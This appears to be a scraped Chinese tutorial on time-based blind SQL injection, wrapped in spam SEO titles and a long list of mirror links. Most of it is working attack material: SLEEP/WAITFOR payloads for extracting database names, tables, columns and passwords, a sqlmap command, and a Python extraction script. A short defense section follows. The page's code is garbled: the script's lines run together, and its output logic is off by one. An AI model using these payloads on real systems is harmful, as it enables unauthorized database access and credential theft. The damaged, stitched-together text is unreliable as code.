当前位置: 首页 > wzjs >正文

能源企业 网站建设实训网站建设的心得总结

能源企业 网站建设,实训网站建设的心得总结,verycloud wordpress,wordpress彩色内链目录 一、时间盲注原理 二、完整攻击流程 1. 注入点确认 2. 基础条件判断 3. 系统信息收集 (1)获取数据库版本 (2)获取当前数据库名 4. 数据提取技术 (1)表名枚举 (2)列名猜…

目录

一、时间盲注原理

二、完整攻击流程

1. 注入点确认

2. 基础条件判断

3. 系统信息收集

(1)获取数据库版本

(2)获取当前数据库名

4. 数据提取技术

(1)表名枚举

(2)列名猜测

(3)逐字符数据提取

5. 自动化优化技巧

(1)二分法加速判断

(2)多线程爆破

三、工具辅助利用

1. SQLMap自动化注入

2. 手动脚本示例(Python)

四、防御方案

五、时间盲注 vs 报错注入

六、总结


一、时间盲注原理

​时间盲注(Time-Based Blind SQL Injection)​​是SQL注入的高级利用方式,适用于以下场景:

  • 页面无数据回显(无显示位)
  • 数据库错误信息被屏蔽
  • HTTP响应状态码统一(无布尔型注入条件)

​核心原理​​:通过构造带有​​时间延迟函数​​的SQL语句,根据页面响应时间判断注入条件是否成立。例如:

' AND IF(1=1, SLEEP(5), 0) -- 

若页面响应延迟5秒,则说明条件成立(1=1为真)。


二、完整攻击流程

1. 注入点确认

​目标​​:验证是否存在时间盲注漏洞
​Payload构造​​:

' AND SLEEP(5) -- 

' ; WAITFOR DELAY '0:0:5' -- (MSSQL)

​判断依据​​:

  • 正常请求响应时间 < 1秒
  • 注入后响应时间 ≥ 5秒则存在漏洞

2. 基础条件判断

​目标​​:通过延迟验证布尔条件
​示例(MySQL)​​:

' AND IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(3), 0) -- 
  • 若页面延迟3秒,说明当前数据库首字母ASCII码 > 100(即字母为'e',ASCII 101)
  • 可逐步调整阈值(二分法)快速定位准确值

3. 系统信息收集

(1)获取数据库版本
' AND IF(ASCII(SUBSTR(@@version,1,1))=53, SLEEP(3),0) -- 

判断版本首字符是否为'5'(ASCII 53),对应MySQL 5.x版本

(2)获取当前数据库名
' AND IF(ASCII(SUBSTR(database(),1,1))=100, SLEEP(3),0) -- 

通过逐字符判断(d的ASCII为100),最终拼接得到完整库名


4. 数据提取技术

(1)表名枚举
' AND IF(ASCII(SUBSTR(
(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)
,1,1))=117, SLEEP(3),0) -- 

验证首个表名的首字母是否为'u'(ASCII 117),即常见users表

(2)列名猜测
' AND IF(ASCII(SUBSTR(
(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)
,1,1))=105, SLEEP(3),0) -- 

判断users表首列首字母是否为'i'(id列)

(3)逐字符数据提取
' AND IF(ASCII(SUBSTR(
(SELECT password FROM users LIMIT 0,1)
,1,1))=97, SLEEP(3),0) -- 

判断首行密码首字符是否为'a'(ASCII 97)


5. 自动化优化技巧

(1)二分法加速判断
  • 代替逐次遍历(0-255),采用二分法(每次缩小一半范围)
  • 例:判断ASCII值是否>128 → 是则范围缩小到128-255
(2)多线程爆破
  • 对多个字符位置同时发起请求
  • 需注意目标服务器的并发限制

三、工具辅助利用

1. SQLMap自动化注入

sqlmap -u "http://example.com?id=1" --technique=T --time-sec=3

参数说明:

  • --technique=T:指定时间盲注技术
  • --time-sec=3:定义延迟阈值

2. 手动脚本示例(Python)

import requests
import timetarget_url = "http://example.com?id=1"
payload = "' AND IF(ASCII(SUBSTR((SELECT DATABASE()),{},1))>{},SLEEP(3),0) -- "for position in range(1, 20):low = 0high = 255while low <= high:mid = (low + high) // 2current_payload = payload.format(position, mid)start_time = time.time()requests.get(target_url + current_payload)elapsed = time.time() - start_timeif elapsed > 3:low = mid + 1else:high = mid - 1print(f"Position {position}: {chr(high)}")

四、防御方案

  1. ​预编译语句(Prepared Statements)​

    # Python示例
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
  2. ​输入过滤​

    • 白名单验证数字类型:user_id = int(input_data)
    • 过滤特殊字符:'";<>()&|
  3. ​权限控制​

    • 数据库账户仅授予最小必要权限
    • 禁用敏感函数(如SLEEP()EXEC
  4. ​WAF防护​

    • 部署Web应用防火墙拦截时间盲注特征
    • 设置请求超时阈值(如单请求最长处理时间2秒)

五、时间盲注 vs 报错注入

对比项时间盲注报错注入
适用场景无任何回显有错误信息回显
攻击速度极慢(需等待延迟)较快
检测难度更难被传统WAF识别易被基于错误的规则检测
典型函数SLEEP()、BENCHMARK()updatexml()、extractvalue()
数据提取方式逐字符二分法判断直接显示在错误信息中

六、总结

时间盲注通过时间延迟作为判断依据,是渗透测试中突破无回显场景的利器。其核心在于:

  • ​精准的延迟控制​​:需考虑网络波动干扰
  • ​高效的字符猜测策略​​:优先使用二分法
  • ​自动化脚本辅助​​:手动测试效率极低

文章转载自:

http://rFBgrrFI.csdgt.cn
http://YKEJZlLn.csdgt.cn
http://YF1Mu7pP.csdgt.cn
http://PDa8iWnG.csdgt.cn
http://xRwMq9Ab.csdgt.cn
http://9fdv98sB.csdgt.cn
http://yIRzhFuQ.csdgt.cn
http://2ccP1jgy.csdgt.cn
http://VrbxzpT3.csdgt.cn
http://lfdKvPLP.csdgt.cn
http://KNY45W7M.csdgt.cn
http://VpULKneF.csdgt.cn
http://oUzQkfIP.csdgt.cn
http://JpbpeYNh.csdgt.cn
http://9h9gqDAz.csdgt.cn
http://xENuF4cP.csdgt.cn
http://ebOOh2aF.csdgt.cn
http://7X5GYBgF.csdgt.cn
http://ApYICGc5.csdgt.cn
http://VFTud7ic.csdgt.cn
http://49YF5xZ1.csdgt.cn
http://PmBaY7oD.csdgt.cn
http://hKiwpY1h.csdgt.cn
http://0Ih0AJh7.csdgt.cn
http://g0svegV0.csdgt.cn
http://YUDxHmkY.csdgt.cn
http://gj6ojwXU.csdgt.cn
http://xKlQcHI3.csdgt.cn
http://gjZiO3Pm.csdgt.cn
http://vRhPRrsZ.csdgt.cn
http://www.dtcms.com/wzjs/765666.html

相关文章:

  • 企业网站app网页和网站做哪个好
  • 网页设计与制作精品课程网站想给公司做个网站怎么做
  • 手机asp网站开发工具周浦手机网站策划建设公司
  • dede仿站wordpress默认分类链接
  • 网站建设有哪些知识点成都市成华区建设路商务中心网站
  • aspx网站html静态化怎么做乐陵seo优化
  • 模板做的网站如何下载地址绥阳网站建设
  • 当涂县微网站开发wordpress 3.2 漏洞
  • 长沙网站推广广州好蜘蛛网站建设
  • 广东圆心科技网站开发建站教程详解什么是二级域名网站
  • 网站首页html代码在哪如何用网页设计制作个人网站
  • 中国银行门户网站如何给网站做流量
  • 嘉兴市住房和城乡建设局网站福建省城市建设厅网站
  • 库存网站建设哪家好潜江哪里做网站
  • 刚做的网站怎么搜索不出来的网站运行速度慢的原因
  • 做彩票网站多少钱开原 铁岭网站建设
  • 东城网站建设电脑页面设计怎么弄
  • php网站 上传河南省建设科技网站
  • 专题网站策划书湖南省公司注册网站
  • 做视频网站付费版深圳手机商城网站设计
  • 做网站的软件wd的叫啥温州网站设计网站建设网站
  • 包头网站设计公司网站建设哪家更专业
  • 在线做维恩图的生物信息学网站wordpress会员插件开发
  • 网站制作公司多少钱wordpress管理密码修改
  • 网站建设手机端pc端分开希爱力双效片副作用
  • 做网站怎么存放视频河南最新政策
  • HTML asp 网站广州平面设计师招聘
  • 深网著名网站免费app大全下载
  • 国家建设网站在哪些网站可以做企业名称预审
  • 职教集团网站建设方案网站建设与维护总结